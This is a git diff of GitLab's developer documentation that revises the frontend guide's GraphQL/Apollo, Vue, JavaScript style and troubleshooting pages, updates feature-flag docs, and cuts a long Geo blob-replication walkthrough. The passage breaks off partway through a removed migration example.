-Proper research and testing should be done to ensure compliance with ARIA.
-
-Ideally, these widgets would exist only in [GitLab UI](https://gitlab-org.gitlab.io/gitlab-ui/).
-Use of ARIA would then only occur in [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/) and not [GitLab](https://gitlab.com/gitlab-org/gitlab/).
+Proper research and testing should be done to ensure compliance with [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/).
## Resources
diff --git a/doc/development/fe_guide/dependencies.md b/doc/development/fe_guide/dependencies.md
index bf46e8e16ce..e8e251baafc 100644
--- a/doc/development/fe_guide/dependencies.md
+++ b/doc/development/fe_guide/dependencies.md
@@ -26,7 +26,7 @@ production assets post-compile.
We use the [Renovate GitLab Bot](https://gitlab.com/gitlab-org/frontend/renovate-gitlab-bot) to
automatically create merge requests for updating dependencies of several projects.
-You can find the up-to-date list of projects managed by the renovate bot in the project’s README.
+You can find the up-to-date list of projects managed by the renovate bot in the project's README.
Some key dependencies updated using renovate are:
diff --git a/doc/development/fe_guide/design_anti_patterns.md b/doc/development/fe_guide/design_anti_patterns.md
index d230e413879..ee4fceff927 100644
--- a/doc/development/fe_guide/design_anti_patterns.md
+++ b/doc/development/fe_guide/design_anti_patterns.md
@@ -30,7 +30,7 @@ const createStore = () => new Vuex.Store({
// Notice that we are forcing all references to this module to use the same single instance of the store.
// We are also creating the store at import-time and there is nothing which can automatically dispose of it.
//
-// As an alternative, we should simply export the `createStore` and let the client manage the
+// As an alternative, we should export the `createStore` and let the client manage the
// lifecycle and instance of the store.
export default createStore();
```
@@ -129,7 +129,7 @@ Here are some ills that Singletons often produce:
This is because of the limitations of languages like Java where everything has to be wrapped
in a class. In JavaScript we have things like object and function literals where we can solve
-many problems with a module that simply exports utility functions.
+many problems with a module that exports utility functions.
### When could the Singleton pattern be actually appropriate?**
diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md
index 2e812d9fa0a..e87b4197269 100644
--- a/doc/development/fe_guide/graphql.md
+++ b/doc/development/fe_guide/graphql.md
@@ -43,13 +43,9 @@ can help you learn how to integrate Vue Apollo.
For other use cases, check out the [Usage outside of Vue](#usage-outside-of-vue) section.
-<!-- vale gitlab.Spelling = NO -->
-
-We use [Immer](https://immerjs.github.io/immer/docs/introduction) for immutable cache updates;
+We use [Immer](https://immerjs.github.io/immer/) for immutable cache updates;
see [Immutability and cache updates](#immutability-and-cache-updates) for more information.
-<!-- vale gitlab.Spelling = YES -->
-
### Tooling
<!-- vale gitlab.Spelling = NO -->
@@ -173,14 +169,10 @@ const primaryKeyId = getIdFromGraphQLId(data.id);
From Apollo version 3.0.0 all the cache updates need to be immutable. It needs to be replaced entirely
with a **new and updated** object.
-<!-- vale gitlab.Spelling = NO -->
-
To facilitate the process of updating the cache and returning the new object we
-use the library [Immer](https://immerjs.github.io/immer/docs/introduction).
+use the library [Immer](https://immerjs.github.io/immer/).
When possible, follow these conventions:
-<!-- vale gitlab.Spelling = YES -->
-
- The updated cache is named `data`.
- The original cache data is named `sourceData`.
@@ -238,17 +230,33 @@ Read more about [Vue Apollo](https://github.com/vuejs/vue-apollo) in the [Vue Ap
It is possible to manage an application state with Apollo by passing
in a resolvers object when creating the default client. The default state can be set by writing
-to the cache after setting up the default client.
+to the cache after setting up the default client. In the example below, we are using query with `@client` Apollo directive to write the initial data to Apollo cache and then get this state in the Vue component:
+
+```javascript
+// user.query.graphql
+
+query User {
+ user @client {
+ name
+ surname
+ age
+ }
+}
+```
```javascript
+// index.js
+
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
+import userQuery from '~/user/user.query.graphql'
Vue.use(VueApollo);
const defaultClient = createDefaultClient();
-defaultClient.cache.writeData({
+defaultClient.cache.writeQuery({
+ query: userQuery,
data: {
user: {
name: 'John',
@@ -263,16 +271,15 @@ const apolloProvider = new VueApollo({
});
```
-We can query local data with `@client` Apollo directive:
-
```javascript
-// user.query.graphql
+// App.vue
+import userQuery from '~/user/user.query.graphql'
-query User {
- user @client {
- name
- surname
- age
+export default {
+ apollo: {
+ user: {
+ query: userQuery
+ }
}
}
```
@@ -767,6 +774,66 @@ export default {
};
```
+#### Polling and Performance
+
+While the Apollo client has support for simple polling, for performance reasons, our [Etag-based caching](../polling.md) is preferred to hitting the database each time.
+
+Once the backend is set up, there are a few changes to make on the frontend.
+
+First, get your resource Etag path from the backend. In the example of the pipelines graph, this is called the `graphql_resource_etag`. This will be used to create new headers to add to the Apollo context:
+
+```javascript
+/* pipelines/components/graph/utils.js */
+
+/* eslint-disable @gitlab/require-i18n-strings */
+const getQueryHeaders = (etagResource) => {
+ return {
+ fetchOptions: {
+ method: 'GET',
+ },
+ headers: {
+ /* This will depend on your feature */
+ 'X-GITLAB-GRAPHQL-FEATURE-CORRELATION': 'verify/ci/pipeline-graph',
+ 'X-GITLAB-GRAPHQL-RESOURCE-ETAG': etagResource,
+ 'X-REQUESTED-WITH': 'XMLHttpRequest',
+ },
+ };
+};
+/* eslint-enable @gitlab/require-i18n-strings */
+
+/* component.vue */
+
+apollo: {
+ pipeline: {
+ context() {
+ return getQueryHeaders(this.graphqlResourceEtag);
+ },
+ query: getPipelineDetails,
+ pollInterval: 10000,
+ ..
+ },
+},
+```
+
+Then, because Etags depend on the request being a `GET` instead of GraphQL's usual `POST`, but our default link library does not support `GET` we need to let our defaut Apollo client know to use a different library.
+
+```javascript
+/* componentMountIndex.js */
+
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(
+ {},
+ {
+ useGet: true,
+ },
+ ),
+});
+```
+
+Keep in mind, this means your app will not batch queries.
+
+Once subscriptions are mature, this process can be replaced by using them and we can remove the separate link library and return to batching queries.
+
### Testing
#### Generating the GraphQL schema
@@ -1377,6 +1444,34 @@ describe('My Index test with `createMockApollo`', () => {
});
```
+When you need to configure the mocked apollo client's caching behavior,
+provide additional cache options when creating a mocked client instance and the provided options will merge with the default cache option:
+
+```javascript
+const defaultCacheOptions = {
+ fragmentMatcher: { match: () => true },
+ addTypename: false,
+};
+```
+
+```javascript
+function createMockApolloProvider({ props = {}, requestHandlers } = {}) {
+ Vue.use(VueApollo);
+
+ const mockApollo = createMockApollo(
+ requestHandlers,
+ {},
+ {
+ dataIdFromObject: (object) =>
+ // eslint-disable-next-line no-underscore-dangle
+ object.__typename === 'Requirement' ? object.iid : defaultDataIdFromObject(object),
+ },
+ );
+
+ return mockApollo;
+}
+```
+
## Handling errors
The GitLab GraphQL mutations have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data).
diff --git a/doc/development/fe_guide/icons.md b/doc/development/fe_guide/icons.md
index a7b62fbb267..ad344c00efd 100644
--- a/doc/development/fe_guide/icons.md
+++ b/doc/development/fe_guide/icons.md
@@ -104,7 +104,7 @@ by the examples that follow:
**Example 1:**
-The following HAML expression generates a loading icon’s markup and
+The following HAML expression generates a loading icon's markup and
centers the icon by wrapping it in a `gl-spinner-container` element.
```haml
@@ -121,7 +121,7 @@ centers the icon by wrapping it in a `gl-spinner-container` element.
**Example 2:**
-The following HAML expression generates a loading icon’s markup
+The following HAML expression generates a loading icon's markup
with a custom size. It also appends a margin utility class.
```haml
@@ -137,7 +137,7 @@ with a custom size. It also appends a margin utility class.
### Usage in Vue
The [GitLab UI](https://gitlab-org.gitlab.io/gitlab-ui/) components library provides a
-`GlLoadingIcon` component. See the component’s
+`GlLoadingIcon` component. See the component's
[storybook](https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-loading-icon--default)
for more information about its usage.
diff --git a/doc/development/fe_guide/img/editor_lite_create_ext.png b/doc/development/fe_guide/img/editor_lite_create_ext.png
index 73941cf5d62..9092c4b725c 100644
--- a/doc/development/fe_guide/img/editor_lite_create_ext.png
+++ b/doc/development/fe_guide/img/editor_lite_create_ext.png
Binary files differ
diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md
index 1315520342e..0f3754c29e7 100644
--- a/doc/development/fe_guide/index.md
+++ b/doc/development/fe_guide/index.md
@@ -11,7 +11,7 @@ across the GitLab frontend team.
## Overview
-GitLab is built on top of [Ruby on Rails](https://rubyonrails.org). It uses [Haml](https://haml.info/) and a JavaScript0based frontend with [Vue.js](https://vuejs.org).
+GitLab is built on top of [Ruby on Rails](https://rubyonrails.org). It uses [Haml](https://haml.info/) and a JavaScript-based frontend with [Vue.js](https://vuejs.org).
<!-- vale gitlab.Spelling = NO -->
Be wary of [the limitations that come with using Hamlit](https://github.com/k0kubun/hamlit/blob/master/REFERENCE.md#limitations).
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/development/fe_guide/performance.md b/doc/development/fe_guide/performance.md
index 795de87d309..b6130335654 100644
--- a/doc/development/fe_guide/performance.md
+++ b/doc/development/fe_guide/performance.md
@@ -35,7 +35,7 @@ performance.getEntriesByName('my-component-start')
- The start of navigation and a mark
- The start of navigation and the moment the measurement is taken
-It takes several arguments of which the measurement’s name is the only one required. Examples:
+It takes several arguments of which the measurement's name is the only one required. Examples:
- Duration between the start and end marks:
@@ -185,16 +185,16 @@ To access stored measurements, you can use either:
### Naming convention
All the marks and measures should be instantiated with the constants from
-`app/assets/javascripts/performance/constants.js`. When you’re ready to add a new mark’s or
-measurement’s label, you can follow the pattern.
+`app/assets/javascripts/performance/constants.js`. When you're ready to add a new mark's or
+measurement's label, you can follow the pattern.
NOTE:
This pattern is a recommendation and not a hard rule.
```javascript
-app-*-start // for a start ‘mark’
-app-*-end // for an end ‘mark’
-app-* // for ‘measure’
+app-*-start // for a start 'mark'
+app-*-end // for an end 'mark'
+app-* // for 'measure'
```
For example, `'webide-init-editor-start`, `mr-diffs-mark-file-tree-end`, and so on. We do it to
@@ -381,7 +381,7 @@ Use `webpackChunkName` when generating dynamic imports as
it provides a deterministic filename for the chunk which can then be cached
in the browser across GitLab versions.
-More information is available in [webpack's code splitting documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports).
+More information is available in [webpack's code splitting documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports) and [vue's dynamic component documentation](https://vuejs.org/v2/guide/components-dynamic-async.html).
### Minimizing page size
diff --git a/doc/development/fe_guide/principles.md b/doc/development/fe_guide/principles.md
index 4952d023d90..1bf37c8d008 100644
--- a/doc/development/fe_guide/principles.md
+++ b/doc/development/fe_guide/principles.md
@@ -18,4 +18,4 @@ There are multiple ways of writing code to accomplish the same results. We shoul
## Improve code [iteratively](https://about.gitlab.com/handbook/values/#iteration)
-Whenever you see existing code that does not follow our current style guide, update it proactively. You don’t need to fix everything, but each merge request should iteratively improve our codebase, and reduce technical debt where possible.
+Whenever you see existing code that does not follow our current style guide, update it proactively. You don't need to fix everything, but each merge request should iteratively improve our codebase, and reduce technical debt where possible.
diff --git a/doc/development/fe_guide/security.md b/doc/development/fe_guide/security.md
index 1a6646df877..79452327673 100644
--- a/doc/development/fe_guide/security.md
+++ b/doc/development/fe_guide/security.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Resources
-[Mozilla’s HTTP Observatory CLI](https://github.com/mozilla/http-observatory-cli) and
+[Mozilla's HTTP Observatory CLI](https://github.com/mozilla/http-observatory-cli) and
[Qualys SSL Labs Server Test](https://www.ssllabs.com/ssltest/analyze.html) are good resources for finding
potential problems and ensuring compliance with security best practices.
@@ -41,7 +41,7 @@ Security Policy headers in the GitLab Rails app.
Some resources on implementing Content Security Policy:
- [MDN Article on CSP](https://developer.mozilla.org/en-US/docs/Web/Security/CSP)
-- [GitHub’s CSP Journey on the GitHub Engineering Blog](http://githubengineering.com/githubs-csp-journey/)
+- [GitHub's CSP Journey on the GitHub Engineering Blog](http://githubengineering.com/githubs-csp-journey/)
- The Dropbox Engineering Blog's series on CSP: [1](https://blogs.dropbox.com/tech/2015/09/on-csp-reporting-and-filtering/), [2](https://blogs.dropbox.com/tech/2015/09/unsafe-inline-and-nonce-deployment/), [3](https://blogs.dropbox.com/tech/2015/09/csp-the-unexpected-eval/), [4](https://blogs.dropbox.com/tech/2015/09/csp-third-party-integrations-and-privilege-separation/)
### Subresource Integrity (SRI)
diff --git a/doc/development/fe_guide/style/javascript.md b/doc/development/fe_guide/style/javascript.md
index 334372af1f4..a2035eb1b55 100644
--- a/doc/development/fe_guide/style/javascript.md
+++ b/doc/development/fe_guide/style/javascript.md
@@ -98,16 +98,27 @@ class a {
}
```
-## Use ParseInt
+## Converting Strings to Integers
-Use `ParseInt` when converting a numeric string into a number.
+When converting strings to integers, `parseInt` has a slight performance advantage over `Number`, but `Number` is semantic and can be more readable. Prefer `parseInt`, but do not discourage `Number` if it significantly helps readability.
+
+**WARNING:** `parseInt` **must** include the [radix argument](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt).
```javascript
// bad
-Number('10')
+parseInt('10');
+
+// bad
+things.map(parseInt)
+
+// ok
+Number("106")
+
+// good
+things.map(Number)
// good
-parseInt('10', 10);
+parseInt("106", 10)
```
## CSS Selectors - Use `js-` prefix
@@ -297,7 +308,7 @@ Strive to write many small pure functions and minimize where mutations occur
## Export constants as primitives
-Prefer exporting constant primitives with a common namespace over exporting objects. This allows for better compile-time reference checks and helps to avoid accidential `undefined`s at runtime. In addition, it helps in reducing bundle sizes.
+Prefer exporting constant primitives with a common namespace over exporting objects. This allows for better compile-time reference checks and helps to avoid accidental `undefined`s at runtime. In addition, it helps in reducing bundle sizes.
Only export the constants as a collection (array, or object) when there is a need to iterate over them, for instance, for a prop validator.
diff --git a/doc/development/fe_guide/style/vue.md b/doc/development/fe_guide/style/vue.md
index d62145b4a4c..93e4f234ccb 100644
--- a/doc/development/fe_guide/style/vue.md
+++ b/doc/development/fe_guide/style/vue.md
@@ -615,7 +615,7 @@ component state wherever possible. Instead, set the component's
```
1. When asserting multiple props, check the deep equality of the `props()` object with
-[`toEqual`](https://jestjs.io/docs/en/expect#toequalvalue):
+[`toEqual`](https://jestjs.io/docs/expect#toequalvalue):
```javascript
// good
@@ -632,8 +632,8 @@ component state wherever possible. Instead, set the component's
```
1. If you are only interested in some of the props, you can use
-[`toMatchObject`](https://jestjs.io/docs/en/expect#tomatchobjectobject). Prefer `toMatchObject`
-over [`expect.objectContaining`](https://jestjs.io/docs/en/expect#expectobjectcontainingobject):
+[`toMatchObject`](https://jestjs.io/docs/expect#tomatchobjectobject). Prefer `toMatchObject`
+over [`expect.objectContaining`](https://jestjs.io/docs/expect#expectobjectcontainingobject):
```javascript
// good
diff --git a/doc/development/fe_guide/troubleshooting.md b/doc/development/fe_guide/troubleshooting.md
index 250fe5106d3..1b3991ee80d 100644
--- a/doc/development/fe_guide/troubleshooting.md
+++ b/doc/development/fe_guide/troubleshooting.md
@@ -66,3 +66,29 @@ TypeError: $ is not a function
```
**Remedy - Try moving the script into a separate repository and point to it to files in the GitLab repository**
+
+## Using Vue component issues
+
+### When rendering a component that uses GlFilteredSearch and the component or its parent uses Vue Apollo
+
+When trying to render our component GlFilteredSearch, you might get an error in the component's `provide` function:
+
+`cannot read suggestionsListClass of undefined`
+
+Currently, `vue-apollo` tries to [manually call a component's `provide()` in the `beforeCreate` part](https://github.com/vuejs/vue-apollo/blob/35e27ec398d844869e1bbbde73c6068b8aabe78a/packages/vue-apollo/src/mixin.js#L149) of the component lifecycle. This means that when a `provide()` references props, which aren't actually setup until after `created`, it will blow up.
+
+See this [closed MR](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/2019#note_514671251) for more context.
+
+**Remedy - try providing `apolloProvider` to the top-level Vue instance options**
+
+VueApollo will skip manually running `provide()` if it sees that an `apolloProvider` is provided in the `$options`.
+
+```patch
+ new Vue(
+ el,
++ apolloProvider: {},
+ render(h) {
+ return h(App);
+ },
+ );
+```
diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md
index 220a4a107aa..574faa0898f 100644
--- a/doc/development/fe_guide/vue.md
+++ b/doc/development/fe_guide/vue.md
@@ -99,6 +99,86 @@ return new Vue({
> When adding an `id` attribute to mount a Vue application, please make sure this `id` is unique
across the codebase.
+#### Providing Rails form fields to Vue applications
+
+When composing a form with Rails, the `name`, `id`, and `value` attributes of form inputs are generated
+to match the backend. It can be helpful to have access to these generated attributes when converting
+a Rails form to Vue, or when [integrating components (datepicker, project selector, etc)](https://gitlab.com/gitlab-org/gitlab/-/blob/8956ad767d522f37a96e03840595c767de030968/app/assets/javascripts/access_tokens/index.js#L15) into it.
+The [`parseRailsFormFields`](https://gitlab.com/gitlab-org/gitlab/-/blob/fe88797f682c7ff0b13f2c2223a3ff45ada751c1/app/assets/javascripts/lib/utils/forms.js#L107) utility can be used to parse the generated form input attributes so they can be passed to the Vue application.
+This allows us to easily integrate Vue components without changing how the form submits.
+
+```haml
+-# form.html.haml
+= form_for user do |form|
+ .js-user-form
+ = form.text_field :name, class: 'form-control gl-form-input', data: { js_name: 'name' }
+ = form.text_field :email, class: 'form-control gl-form-input', data: { js_name: 'email' }
+```
+
+> The `js_name` data attribute is used as the key in the resulting JavaScript object.
+For example `= form.text_field :email, data: { js_name: 'fooBarBaz' }` would be translated
+to `{ fooBarBaz: { name: 'user[email]', id: 'user_email', value: '' } }`
+
+```javascript
+// index.js
+import Vue from 'vue';
+import { parseRailsFormFields } from '~/lib/utils/forms';
+import UserForm from './components/user_form.vue';
+
+export const initUserForm = () => {
+ const el = document.querySelector('.js-user-form');
+
+ if (!el) {
+ return null;
+ }
+
+ const fields = parseRailsFormFields(el);
+
+ return new Vue({
+ el,
+ render(h) {
+ return h(UserForm, {
+ props: {
+ fields,
+ },
+ });
+ },
+ });
+};
+```
+
+```vue
+<script>
+// user_form.vue
+import { GlButton, GlFormGroup, GlFormInput } from '@gitlab/ui';
+
+export default {
+ name: 'UserForm',
+ components: { GlButton, GlFormGroup, GlFormInput },
+ props: {
+ fields: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-form-group :label-for="fields.name.id" :label="__('Name')">
+ <gl-form-input v-bind="fields.name" size="lg" />
+ </gl-form-group>
+
+ <gl-form-group :label-for="fields.email.id" :label="__('Email')">
+ <gl-form-input v-bind="fields.email" type="email" size="lg" />
+ </gl-form-group>
+
+ <gl-button type="submit" category="primary" variant="confirm">{{ __('Update') }}</gl-button>
+ </div>
+</template>
+```
+
#### Accessing the `gl` object
We query the `gl` object for data that doesn't change during the application's life
@@ -197,7 +277,7 @@ Check this [page](vuex.md) for more details.
In the [Vue documentation](https://vuejs.org/v2/api/#Options-Data) the Data function/object is defined as follows:
> The data object for the Vue instance. Vue recursively converts its properties into getter/setters
-to make it “reactiveâ€. The object must be plain: native objects such as browser API objects and
+to make it "reactive". The object must be plain: native objects such as browser API objects and
prototype properties are ignored. A rule of thumb is that data should just be data - it is not
recommended to observe objects with their own stateful behavior.
diff --git a/doc/development/fe_guide/vue3_migration.md b/doc/development/fe_guide/vue3_migration.md
index ee25e97ab6e..d06e93da0f3 100644
--- a/doc/development/fe_guide/vue3_migration.md
+++ b/doc/development/fe_guide/vue3_migration.md
@@ -6,6 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Migration to Vue 3
+Preparations for a Vue 3 migration are tracked in epic [&3174](https://gitlab.com/groups/gitlab-org/-/epics/3174)
+
In order to prepare for the eventual migration to Vue 3.x, we should be wary about adding the following features to the codebase:
## Vue filters
diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md
index fc327a2defc..c9538c38850 100644
--- a/doc/development/feature_flags/controls.md
+++ b/doc/development/feature_flags/controls.md
@@ -36,7 +36,7 @@ easier to measure the impact of both separately.
The GitLab feature library (using
[Flipper](https://github.com/jnunemaker/flipper), and covered in the [Feature
-Flags process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle) guide) supports rolling out changes to a percentage of
+Flags process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/) guide) supports rolling out changes to a percentage of
time to users. This in turn can be controlled using [GitLab ChatOps](../../ci/chatops/index.md).
For an up to date list of feature flag commands please see [the source
@@ -281,7 +281,7 @@ To remove a feature flag, open **one merge request** to make the changes. In the
1. Add the ~"feature flag" label so release managers are aware the changes are hidden behind a feature flag.
1. If the merge request has to be picked into a stable branch, add the
appropriate `~"Pick into X.Y"` label, for example `~"Pick into 13.0"`.
- See [the feature flag process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle#including-a-feature-behind-feature-flag-in-the-final-release)
+ See [the feature flag process](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#including-a-feature-behind-feature-flag-in-the-final-release)
for further details.
1. Remove all references to the feature flag from the codebase, including tests.
1. Remove the YAML definition for the feature from the repository.
diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md
index 5c98dc2e473..560e4f8cb90 100644
--- a/doc/development/feature_flags/index.md
+++ b/doc/development/feature_flags/index.md
@@ -16,7 +16,7 @@ in the GitLab codebase to conditionally enable features
and test them.
Features that are developed and merged behind a feature flag
-should not include a changelog entry. The entry should be added either in the merge
+should not include a changelog entry. A changelog entry with `type: added` should be included in the merge
request removing the feature flag or the merge request where the default value of
the feature flag is set to enabled. If the feature contains any database migrations, it
*should* include a changelog entry for the database changes.
@@ -292,8 +292,7 @@ end
### Frontend
-Use the `push_frontend_feature_flag` method for frontend code, which is
-available to all controllers that inherit from `ApplicationController`. You can use
+Use the `push_frontend_feature_flag` method which is available to all controllers that inherit from `ApplicationController`. You can use
this method to expose the state of a feature flag, for example:
```ruby
@@ -424,7 +423,7 @@ Feature.enabled?(:licensed_feature_feature_flag, project) &&
### Feature groups
Feature groups must be defined statically in `lib/feature.rb` (in the
-`.register_feature_groups` method), but their implementation can obviously be
+`.register_feature_groups` method), but their implementation can be
dynamic (querying the DB, for example).
Once defined in `lib/feature.rb`, you can to activate a
diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md
index 055b9ce4ad6..2b3e4826de5 100644
--- a/doc/development/geo/framework.md
+++ b/doc/development/geo/framework.md
@@ -160,880 +160,16 @@ the Geo team if you are unsure.
### Blob Replicator Strategy
-Models that use
-[CarrierWave's](https://github.com/carrierwaveuploader/carrierwave) `Uploader::Base`
-can be easily supported by Geo with the `Geo::BlobReplicatorStrategy` module.
+Models that use [CarrierWave's](https://github.com/carrierwaveuploader/carrierwave) `Uploader::Base` are supported by Geo with the `Geo::BlobReplicatorStrategy` module. For example, see how [Geo replication was implemented for Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/issues/238464).
-First, each file should have its own primary ID and model. Geo strongly
-recommends treating *every single file* as a first-class citizen, because in
-our experience this greatly simplifies tracking replication and verification
-state.
+Each file is expected to have its own primary ID and model. Geo strongly recommends treating *every single file* as a first-class citizen, because in our experience this greatly simplifies tracking replication and verification state.
-For example, to add support for files referenced by a `Widget` model with a
-`widgets` table, you would perform the following steps:
-
-#### Replication
-
-1. Include `Gitlab::Geo::ReplicableModel` in the `Widget` class, and specify
- the Replicator class `with_replicator Geo::WidgetReplicator`.
-
- At this point the `Widget` class should look like this:
-
- ```ruby
- # frozen_string_literal: true
-
- class Widget < ApplicationRecord
- include ::Gitlab::Geo::ReplicableModel
-
- with_replicator Geo::WidgetReplicator
-
- mount_uploader :file, WidgetUploader
-
- # @param primary_key_in [Range, Widget] arg to pass to primary_key_in scope
- # @return [ActiveRecord::Relation<Widget>] everything that should be synced to this node, restricted by primary key
- def self.replicables_for_current_secondary(primary_key_in)
- # Should be implemented. The idea of the method is to restrict
- # the set of synced items depending on synchronization settings
- end
- ...
- end
- ```
-
- If there is a common constraint for records to be available for replication,
- make sure to also overwrite the `available_replicables` scope.
-
-1. Create `ee/app/replicators/geo/widget_replicator.rb`. Implement the
- `#carrierwave_uploader` method which should return a `CarrierWave::Uploader`,
- and implement the class method `.model` to return the `Widget` class:
-
- ```ruby
- # frozen_string_literal: true
-
- module Geo
- class WidgetReplicator < Gitlab::Geo::Replicator
- include ::Geo::BlobReplicatorStrategy
-
- def self.model
- ::Widget
- end
-
- def carrierwave_uploader
- model_record.file
- end
-
- # The feature flag follows the format `geo_#{replicable_name}_replication`,
- # so here it would be `geo_widget_replication`
- def self.replication_enabled_by_default?
- false
- end
- end
- end
- ```
-
-1. Add this replicator class to the method `replicator_classes` in
- `ee/lib/gitlab/geo.rb`:
-
- ```ruby
- REPLICATOR_CLASSES = [
- ::Geo::PackageFileReplicator,
- ::Geo::WidgetReplicator
- ]
- end
- ```
-
-1. Create `ee/spec/replicators/geo/widget_replicator_spec.rb` and perform
- the necessary setup to define the `model_record` variable for the shared
- examples:
-
- ```ruby
- # frozen_string_literal: true
-
- require 'spec_helper'
-
- RSpec.describe Geo::WidgetReplicator do
- let(:model_record) { build(:widget) }
-
- it_behaves_like 'a blob replicator'
- end
- ```
-
-1. Create the `widget_registry` table, with columns ordered according to [our guidelines](../ordering_table_columns.md) so Geo secondaries can track the sync and
- verification state of each Widget's file. This migration belongs in `ee/db/geo/migrate`:
-
- ```ruby
- # frozen_string_literal: true
-
- class CreateWidgetRegistry < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- unless table_exists?(:widget_registry)
- ActiveRecord::Base.transaction do
- create_table :widget_registry, id: :bigserial, force: :cascade do |t|
- t.bigint :widget_id, null: false
- t.datetime_with_timezone :created_at, null: false
- t.datetime_with_timezone :last_synced_at
- t.datetime_with_timezone :retry_at
- t.datetime_with_timezone :verified_at
- t.datetime_with_timezone :verification_started_at
- t.datetime_with_timezone :verification_retry_at
- t.integer :state, default: 0, null: false, limit: 2
- t.integer :verification_state, default: 0, null: false, limit: 2
- t.integer :retry_count, default: 0, limit: 2
- t.integer :verification_retry_count, default: 0, limit: 2
- t.boolean :checksum_mismatch
- t.binary :verification_checksum
- t.binary :verification_checksum_mismatched
- t.string :verification_failure, limit: 255
- t.string :last_sync_failure, limit: 255
-
- t.index :widget_id, name: :index_widget_registry_on_widget_id, unique: true
- t.index :retry_at
- t.index :state
- # To optimize performance of WidgetRegistry.verification_failed_batch
- t.index :verification_retry_at, name: :widget_registry_failed_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 3))"
- # To optimize performance of WidgetRegistry.needs_verification_count
- t.index :verification_state, name: :widget_registry_needs_verification, where: "((state = 2) AND (verification_state = ANY (ARRAY[0, 3])))"
- # To optimize performance of WidgetRegistry.verification_pending_batch
- t.index :verified_at, name: :widget_registry_pending_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 0))"
- end
- end
- end
- end
-
- def down
- drop_table :widget_registry
- end
- end
- ```
-
-1. Create `ee/app/models/geo/widget_registry.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- class Geo::WidgetRegistry < Geo::BaseRegistry
- include ::Geo::ReplicableRegistry
- include ::Geo::VerifiableRegistry
-
- MODEL_CLASS = ::Widget
- MODEL_FOREIGN_KEY = :widget_id
-
- belongs_to :widget, class_name: 'Widget'
- end
- ```
-
-1. Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`.
-1. Add `widget_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`.
-1. Create `ee/spec/factories/geo/widget_registry.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- FactoryBot.define do
- factory :geo_widget_registry, class: 'Geo::WidgetRegistry' do
- widget
- state { Geo::WidgetRegistry.state_value(:pending) }
-
- trait :synced do
- state { Geo::WidgetRegistry.state_value(:synced) }
- last_synced_at { 5.days.ago }
- end
-
- trait :failed do
- state { Geo::WidgetRegistry.state_value(:failed) }
- last_synced_at { 1.day.ago }
- retry_count { 2 }
- last_sync_failure { 'Random error' }
- end
-
- trait :started do
- state { Geo::WidgetRegistry.state_value(:started) }
- last_synced_at { 1.day.ago }
- retry_count { 0 }
- end
- end
- end
- ```
-
-1. Create `ee/spec/models/geo/widget_registry_spec.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- require 'spec_helper'
-
- RSpec.describe Geo::WidgetRegistry, :geo, type: :model do
- let_it_be(:registry) { create(:geo_widget_registry) }
-
- specify 'factory is valid' do
- expect(registry).to be_valid
- end
-
- include_examples 'a Geo framework registry'
- include_examples 'a Geo verifiable registry'
-
- describe '.find_registry_differences' do
- ... # To be implemented
- end
- end
- ```
-
-Widgets should now be replicated by Geo.
-
-#### Verification
-
-There are two ways to add verification related fields so that the Geo primary
-can track verification state.
-
-##### Option 1: Add verification state fields to the existing `widgets` table itself
-
-1. Add a migration to add columns ordered according to [our guidelines](../ordering_table_columns.md)
- for verification state to the widgets table:
-
- ```ruby
- # frozen_string_literal: true
-
- class AddVerificationStateToWidgets < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def change
- change_table(:widgets) do |t|
- t.integer :verification_state, default: 0, limit: 2, null: false
- t.column :verification_started_at, :datetime_with_timezone
- t.integer :verification_retry_count, limit: 2
- t.column :verification_retry_at, :datetime_with_timezone
- t.column :verified_at, :datetime_with_timezone
- t.binary :verification_checksum, using: 'verification_checksum::bytea'
-
- # rubocop:disable Migration/AddLimitToTextColumns
- t.text :verification_failure
- # rubocop:enable Migration/AddLimitToTextColumns
- end
- end
- end
- ```
-
-1. Adding a `text` column also [requires](../database/strings_and_the_text_data_type.md#add-a-text-column-to-an-existing-table)
- setting a limit:
-
- ```ruby
- # frozen_string_literal: true
-
- class AddVerificationFailureLimitToWidgets < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- CONSTRAINT_NAME = 'widget_verification_failure_text_limit'
-
- def up
